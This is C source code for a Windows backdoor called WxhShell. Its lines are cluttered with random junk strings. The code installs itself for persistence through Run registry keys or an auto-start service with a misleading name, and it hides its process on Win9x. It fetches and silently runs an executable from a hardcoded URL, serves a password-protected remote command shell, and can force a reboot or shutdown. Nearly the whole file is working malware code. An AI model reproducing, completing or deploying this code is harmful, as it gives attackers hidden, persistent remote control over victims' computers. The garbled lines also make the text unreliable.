} PROCESS_BASIC_INFORMATION; 0MkSf*
=Uj-^qcE
PROCNTQSIP NtQueryInformationProcess; Q<KvBgmT
z j/!In
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~5 *5
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g q}I[N
2A\,-*pc
HANDLE hProcess; W ]Nv33i
[
PROCESS_BASIC_INFORMATION pbi; Ci<ATho
}yJ$SR]t
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e89Xb;;w
if(NULL == hInst ) return 0; ]]&M@FM2z
qWx][D"
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @E-\ J7 yh
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _x?uU
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ObE,$_ k
;+tpvnV;]
if (!NtQueryInformationProcess) return 0; * 0|IXGr
3Ezy %7
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jWY$5Vq<H
if(!hProcess) return 0; ?APeR,"V
13+<Q \
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `"@g8PWe
}Y*VAnY6;
CloseHandle(hProcess); '/$d0`3B>
,N
e;kI
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^RP)>d9Xp{
if(hProcess==NULL) return 0; DZv=\<$,LF
7yz4'L
HMODULE hMod; Vm df8[5
char procName[255]; w1Ec_y {
unsigned long cbNeeded; zt<WXw(
Cxcr/9
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l%`F&8K
Ga^Zb^y
CloseHandle(hProcess); 8-lOB
5 gv/Pq &
if(strstr(procName,"services")) return 1; // 以服务启动
WJ
d%2pO]
s-RQMK}H
return 0; // 注册表启动 ~j#]tElb
} :T._ba3|
q-rB2
// 主模块 %rF?dvb;?
int StartWxhshell(LPSTR lpCmdLine) {XWZ<OjG
{ k~/>b~.c
SOCKET wsl; =r.mlc``W
BOOL val=TRUE; }->.k/vc
int port=0; A)~X,
struct sockaddr_in door; #_|sgS?1
K3' niGT
if(wscfg.ws_autoins) Install(); p?2Y }9
d~?X/sJ t
port=atoi(lpCmdLine); F! X}(N?t
+E; 2d-x*p
if(port<=0) port=wscfg.ws_port; sU"}-de
cwuO[^S}
WSADATA data; eXkujjSw"
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (__yh^h:m
7;tJK^J`
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; !bD@aVf?5
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >rP#ukr5
door.sin_family = AF_INET; I0'[!kBF|
door.sin_addr.s_addr = inet_addr("127.0.0.1"); T /mI[*1xI
door.sin_port = htons(port); \(Pohw WWo
L3p`
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 78Aa|AJU
closesocket(wsl); UDc$"a}ds{
return 1; {\z({Wlb]
} R'dSbn
'r@:Cz3e*I
if(listen(wsl,2) == INVALID_SOCKET) { xESjM1A)
closesocket(wsl); _6k*'aT~FK
return 1; 2~*Ez!.3
} +e-,ST&w(
Wxhshell(wsl); e|rg;`AW
WSACleanup(); g!`3{
/4
AWjm~D-?
return 0; oM)h#8bq
bO;(bE m@
} yg2uC(2
"GQl~
// 以NT服务方式启动 3-%Cw2ds
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y];Ycj;
{ qTB$`f'|$
DWORD status = 0; HJC(\\~
DWORD specificError = 0xfffffff; =rd|0K"(r
4#(ZNP
serviceStatus.dwServiceType = SERVICE_WIN32; 9~0^PzTA
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ;ml
3
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )%X;^(zKM
serviceStatus.dwWin32ExitCode = 0; #$1og=
serviceStatus.dwServiceSpecificExitCode = 0; kip`Myw+
serviceStatus.dwCheckPoint = 0; m$LVCB
serviceStatus.dwWaitHint = 0; ZO7&vF}
ur\qOX|{
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6 8iV/7
if (hServiceStatusHandle==0) return; Nk;iiz+_p
Y2R \]FrT
status = GetLastError(); ]O
TH"*j
if (status!=NO_ERROR) E_1="&p
{ TS"D]Txs
serviceStatus.dwCurrentState = SERVICE_STOPPED; EQe5JFR
serviceStatus.dwCheckPoint = 0; ;&b%Se@#p
serviceStatus.dwWaitHint = 0; u0RS)&
serviceStatus.dwWin32ExitCode = status; 2T)sXB u
serviceStatus.dwServiceSpecificExitCode = specificError; /_\#zC[
SetServiceStatus(hServiceStatusHandle, &serviceStatus); #n
return; L!'k !k
} A;J MV+2N
&W6^6=E{g
serviceStatus.dwCurrentState = SERVICE_RUNNING; k{AyD`'Q
serviceStatus.dwCheckPoint = 0; mF09U(ci
serviceStatus.dwWaitHint = 0; a{!r`>I\f
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >az;!7~cD
} B(DrY1ztj
7dX/bzUVz8
// 处理NT服务事件,比如:启动、停止 (9 gOtJ
VOID WINAPI NTServiceHandler(DWORD fdwControl) oA
tsUF+a
{ b}G24{
switch(fdwControl) #Y93y\
{ dp5f7>]:(
case SERVICE_CONTROL_STOP: %@R~DBS
serviceStatus.dwWin32ExitCode = 0; XMRNuEU
serviceStatus.dwCurrentState = SERVICE_STOPPED; Z?^"\u-
serviceStatus.dwCheckPoint = 0; `*\{.;,]#
serviceStatus.dwWaitHint = 0; .9|uQEL
{ 3_`szl-
SetServiceStatus(hServiceStatusHandle, &serviceStatus); l12$l<x&M
} (X6sSO
return; ~JuKV&&}K
case SERVICE_CONTROL_PAUSE: S)A'Y]2X
serviceStatus.dwCurrentState = SERVICE_PAUSED; H<ZU#U0FZf
break; (vJ2z
=z
case SERVICE_CONTROL_CONTINUE: R[1BfZ 6s
serviceStatus.dwCurrentState = SERVICE_RUNNING; me\cLFw
break; "%@uO)A /
case SERVICE_CONTROL_INTERROGATE: pl V7+?G
break; DJQglt}~
}; np WEop>
SetServiceStatus(hServiceStatusHandle, &serviceStatus); S^f:`9ab9
}
df=zF.5
@("}]/O
V:
// 标准应用程序主函数 }wSy
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) HhkN^S,
{ D6Y6^eS-
{BO|u{C
// 获取操作系统版本 WjM>kWv
OsIsNt=GetOsVer(); \h3e-)
GetModuleFileName(NULL,ExeFile,MAX_PATH); z]Acs
(_9|w|(
// 从命令行安装 =!ac7i\F
if(strpbrk(lpCmdLine,"iI")) Install(); f]d!hz!
Jbp5'e
_
// 下载执行文件 (Btv ClZ
if(wscfg.ws_downexe) { y~F<9;$=
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^GYq#q9Q
WinExec(wscfg.ws_filenam,SW_HIDE); TK>{qxt:=
} @ERu>nSP
)Hf~d=GG
if(!OsIsNt) { =V|Nn0E
// 如果时win9x,隐藏进程并且设置为注册表启动 ?z"KnR+?Q
HideProc(); `<j_[(5yb
StartWxhshell(lpCmdLine); 1.R
kIB
} *(*+`qZL{(
else gvnj&h.GV
if(StartFromService()) djT.
1(
// 以服务方式启动
'H FK Bp
StartServiceCtrlDispatcher(DispatchTable); j[P8
else aQcN&UA@
// 普通方式启动 kd;'}x=5yP
StartWxhshell(lpCmdLine); !%mi&ak(Rn
W>L@j(
return 0; Q-zdJt
} 4w{-'M.B
Yb=6C3l@
wk02[
V2yveNz\7
=========================================== [[qwaI
eO{@@?/y
67J*&5? |
w{'2q^>6*
D{AFL.r{
4YJ=q% G
" jNy?[
)
ma9ADFFT
#include <stdio.h> Q[s2}Z!N;
#include <string.h> +$(0w35V5
#include <windows.h> |5xz l
#include <winsock2.h> Q-R}qy5y
#include <winsvc.h> %yaG,;>U
#include <urlmon.h> M^ 5e~y
w3#`1T`N
#pragma comment (lib, "Ws2_32.lib")
H4skvIl
#pragma comment (lib, "urlmon.lib") U1Yo7nVf
0yHjrxc$
#define MAX_USER 100 // 最大客户端连接数 'XTs
-=
#define BUF_SOCK 200 // sock buffer h#{T}[
#define KEY_BUFF 255 // 输入 buffer 93I'cWN
55hyV{L%
#define REBOOT 0 // 重启 GOW"o"S
#define SHUTDOWN 1 // 关机 +{6`F1MO
ek[kq[U9
#define DEF_PORT 5000 // 监听端口 Igjr~@#
~|R[O^9B
#define REG_LEN 16 // 注册表键长度 >I-g[*
#define SVC_LEN 80 // NT服务名长度 >38
Lt\
C6)R#
// 从dll定义API a9[< ^
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~JE|f 7
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Bn-J_-%M
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +a]j[#
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); uMDtdC8
*mV&K\_
// wxhshell配置信息 SOH%Q_
struct WSCFG { d~<QAh#rG
int ws_port; // 监听端口 ?
: md
char ws_passstr[REG_LEN]; // 口令 @xJCn}`Zj
int ws_autoins; // 安装标记, 1=yes 0=no ] SK[C"
S
char ws_regname[REG_LEN]; // 注册表键名 2 `5=0E1k
char ws_svcname[REG_LEN]; // 服务名 n4>cERfa
char ws_svcdisp[SVC_LEN]; // 服务显示名 h]P/KVqR.
char ws_svcdesc[SVC_LEN]; // 服务描述信息 S'?fJ.
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 NQ!<f\m4n
int ws_downexe; // 下载执行标记, 1=yes 0=no J" bD\%
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E{gv,cUM
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ou;qO
5CT
6z1\a
}; QSmJ`Bm
`Z8^+AMc
// default Wxhshell configuration @,YlmX}
struct WSCFG wscfg={DEF_PORT, fN0bIE
Y
"xuhuanlingzhe", H56
^n<tg
1, %uEtQh[
"Wxhshell", va>"#;37
"Wxhshell", qsvpW%?aE
"WxhShell Service", OT+ Ee
"Wrsky Windows CmdShell Service", i7f%^7!
"Please Input Your Password: ", HZuiVW8
1, fM{1Os
"http://www.wrsky.com/wxhshell.exe", A^cU$V%?W
"Wxhshell.exe" B<+pg
}; bqjr0A7{
XSl!T/d
// 消息定义模块 \kk!Dz*H
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q\U4n[Zk
char *msg_ws_prompt="\n\r? for help\n\r#>"; }Eb]9c\
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^vn\4
char *msg_ws_ext="\n\rExit."; `x4E;Wjv
char *msg_ws_end="\n\rQuit."; |1i]L @&
char *msg_ws_boot="\n\rReboot..."; |>@-grs
char *msg_ws_poff="\n\rShutdown..."; UnjNR[=
char *msg_ws_down="\n\rSave to "; C1D !
V:
{WKOJG+.
char *msg_ws_err="\n\rErr!"; ;24'f-Eri
char *msg_ws_ok="\n\rOK!"; -s89)lUkS
CfY7<o1>
char ExeFile[MAX_PATH]; O8$~*NFJf
int nUser = 0; U,38qKE
HANDLE handles[MAX_USER]; a6qwL4
int OsIsNt; .}~$1QKS
vQy$[D*
SERVICE_STATUS serviceStatus; 08O7F
SERVICE_STATUS_HANDLE hServiceStatusHandle; u/#&0_
P
Uf^RLdoDn
// 函数声明 Lb^(E-
int Install(void); jjX%$Hr
int Uninstall(void); >"bnpYSe
int DownloadFile(char *sURL, SOCKET wsh); -+' #*V
int Boot(int flag); }
m6\C5
void HideProc(void); K@*rVor{
int GetOsVer(void); +Tp%5+E
int Wxhshell(SOCKET wsl); a(5y>HF
void TalkWithClient(void *cs); j,4,zA1j|
int CmdShell(SOCKET sock); `>\4"`I
int StartFromService(void); U81;7L8
int StartWxhshell(LPSTR lpCmdLine); 'X|v+?
mHHzCKE ,
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6I5o2i
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h*G#<M
n3*UgNg%fK
// 数据结构和表定义 mw ?{LT
SERVICE_TABLE_ENTRY DispatchTable[] = 2@4x"F]U;
{ K Ka c6Zj
{wscfg.ws_svcname, NTServiceMain}, ^A- sS~w
{NULL, NULL} :;q>31:h
}; &q"'_4
KCl &H
// 自我安装 hc6.#~i
int Install(void) 0FTRm2(
{ (GnVwJ<v9V
char svExeFile[MAX_PATH]; [\88@B=jXP
HKEY key; w/O<.8+
strcpy(svExeFile,ExeFile); [4ee <J
T^N L:78
// 如果是win9x系统,修改注册表设为自启动 t18UDR{
if(!OsIsNt) { v&e-`.xR
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %8a=mQl1^
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8znj~7}#
RegCloseKey(key); z2.*#xTZn
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `(!W s\:
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O1|B3M[P
RegCloseKey(key); G&.d)NfE
return 0; K/Sq2:
} .|U4N/XN%q
} L>0!B8X2
} 9^(HXH_f
else { Y:rJK|m
NoJUx['6
// 如果是NT以上系统,安装为系统服务 9jqO/_7R+
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6aRGG+H
if (schSCManager!=0) BSOjyy1f
{ ]c5DOv&
SC_HANDLE schService = CreateService y#&$f
( [k!-;mi
schSCManager, ~."!l'a
wscfg.ws_svcname, lfXH7jL2~
wscfg.ws_svcdisp, ]NbX`'
SERVICE_ALL_ACCESS, ^=Q8]W_*
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , r>E\Cco
SERVICE_AUTO_START, hx*HY%\P
SERVICE_ERROR_NORMAL, `i=JjgG@
svExeFile, ^GE^Q\&D&
NULL, =d}gv6v2S
NULL, ^WmGo]<B_
NULL, \5t`p67Ve_
NULL, <V7SSm
NULL |
A3U@>6
); (W7;}g ysh
if (schService!=0) i5.?g <.H
{ eVZa6la"
CloseServiceHandle(schService); U~oBNsU"
CloseServiceHandle(schSCManager); 1d/NZJ9
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Po'-z<}wS
strcat(svExeFile,wscfg.ws_svcname); >_&~!Y.Z=
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O~$ {&(
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); P/C&R-{')
RegCloseKey(key); S&5Q~}{,
return 0; RP,A!pa@
} c!tvG*{
} gTqeJWX9wP
CloseServiceHandle(schSCManager); ;,<r|.6U
} ".Lhte R?
} ay=KfY5
q1U&vZ3]c
return 1; i:V0fBR[>
} rn5"o8|
/_$~rW
// 自我卸载 8.*\+nH
int Uninstall(void) "|(rVj=
{ \d `dV0X
HKEY key; 9BqQ^`bu
7bA4P*
if(!OsIsNt) { AF6d#Klog
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dNOX&$/=
RegDeleteValue(key,wscfg.ws_regname); A
Z4|&iT
RegCloseKey(key); G/NTe
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;[FW!
RegDeleteValue(key,wscfg.ws_regname); KYnW7|*
RegCloseKey(key); Sg/:n,68
return 0; >{j,+$%kp
} =$^Wkau
} _7r qXkp%
} Z[a O_6L
else { 8T8pAs0
p
A)hq0FPp
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4}.WhE|h
if (schSCManager!=0) u^}7Vs
.
{ fn1 ?Qp|
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tn"Y9
k|
if (schService!=0) ATKYjhc _
{ ^zvA?'s
if(DeleteService(schService)!=0) { "}S9`-Wd|
CloseServiceHandle(schService); v9Z lNA7m!
CloseServiceHandle(schSCManager); 1 ;_{US5FR
return 0; g,00'z_D
} jf$JaY
CloseServiceHandle(schService); bHhC56[M
} Rf)'HT
CloseServiceHandle(schSCManager); S1D9AcK
} % MfGVx}nG
} ExNj|*
&eThH,w$2
return 1; w^ixMn~nLF
} fl} rz
E9yFREvQc
// 从指定url下载文件 "2)+)Db
int DownloadFile(char *sURL, SOCKET wsh) Z-N-9E
{ $w|o@ Ml)
HRESULT hr; s5c! ^,L8
char seps[]= "/"; N,WI{*
char *token; D< nlb-
char *file; DZHrR:q?e
char myURL[MAX_PATH]; t`
}20=I+
char myFILE[MAX_PATH]; }u(d'9u
`U{o:
strcpy(myURL,sURL); {toyQ)C7
token=strtok(myURL,seps); :)KTZ
while(token!=NULL) l(h;e&9x
{ "wT~$I"
file=token; cJU!zG
token=strtok(NULL,seps); p{A}p9sjx
} }4bB7,j
v\vE^|-\/
GetCurrentDirectory(MAX_PATH,myFILE); qT4I Y$h
strcat(myFILE, "\\"); zznPD%#Sc
strcat(myFILE, file); K$MJ#Zx^
send(wsh,myFILE,strlen(myFILE),0); ;whFaQi 4
send(wsh,"...",3,0); +zFV~]b
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); , aRJ!AZ
if(hr==S_OK) r*X}3t*
return 0; *kX3sG$8
else 5]4<!m
return 1; s`8M%ZLu
OYqYI!N/
} "C$!mdr7
09}f\/
// 系统电源模块 ?=;e.qK=71
int Boot(int flag) es.\e.HK
{ ,cGwtt(
HANDLE hToken; Gt\K Ln
TOKEN_PRIVILEGES tkp; /RA1d<~$q
Ft%TnEp
if(OsIsNt) { $I}Hk^X
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); veYsctK~
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4b3 F9
tkp.PrivilegeCount = 1; W2r6jm!
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; QrNL7{
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); L|]w3}ZT@
if(flag==REBOOT) { nLFx/5sL
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A@@)lD.
return 0; <F#*:Re_y
} .oi}SG
else { T3u5al
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j61BP8E
return 0; M`9orq<
} >D`fp
} "Cyo<|
else { E6k?+i
w
if(flag==REBOOT) { -!C
Y,'3
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) D&z'tf5
return 0; jm#d7@~4
} _SBp66
r
else {
:f?,]|]+-
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) SQ~N X)
return 0; a`EGx{q(
} :|n>H+Y
} X%4uShM
`5k6s,
return 1; o@<6TlZM
} c:h.J4mv
Ac5o K
// win9x进程隐藏模块 O?j98H
Sya
void HideProc(void) CfkNy[}=
{ eB<V%,%N#
!OuTXa,IH
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (l3UNP
if ( hKernel != NULL ) u/!mN2{Rd
{ !\&7oAs=I
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fcE/
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .UT,lqEkv
FreeLibrary(hKernel); {0A[v}X ~
} hVT=j ?~
DSDl[;3O{s
return; D<_,>{$gW
} }QWTPRn
RKoP6LGw
// 获取操作系统版本 :{wsd$Qlj
int GetOsVer(void) 0XQ".:+h
{ I9*BENkR
OSVERSIONINFO winfo; s_GK;;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); BuEQ^[Ex
GetVersionEx(&winfo); @R'g@+{I
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9U }MXY0
return 1; M k'n~.mb
else \c9t]py<.h
return 0; 48~m=mI
} l# !@{ <
NDIc?kj~
// 客户端句柄模块 p(x1D]#Z[
int Wxhshell(SOCKET wsl) ^O$[Y9~*
{ +]S;U&vQ
SOCKET wsh; H4y1Hpa,
struct sockaddr_in client; So)KI_M
DWORD myID; (v'lb!j^#
_Y
><ih
while(nUser<MAX_USER) 0'\FrG
{ k@t,[
int nSize=sizeof(client); G3_mWppH
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YA;8uMqh;
if(wsh==INVALID_SOCKET) return 1; XD+cs.{5
*0&i'0>
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #>=/15:
if(handles[nUser]==0) 5&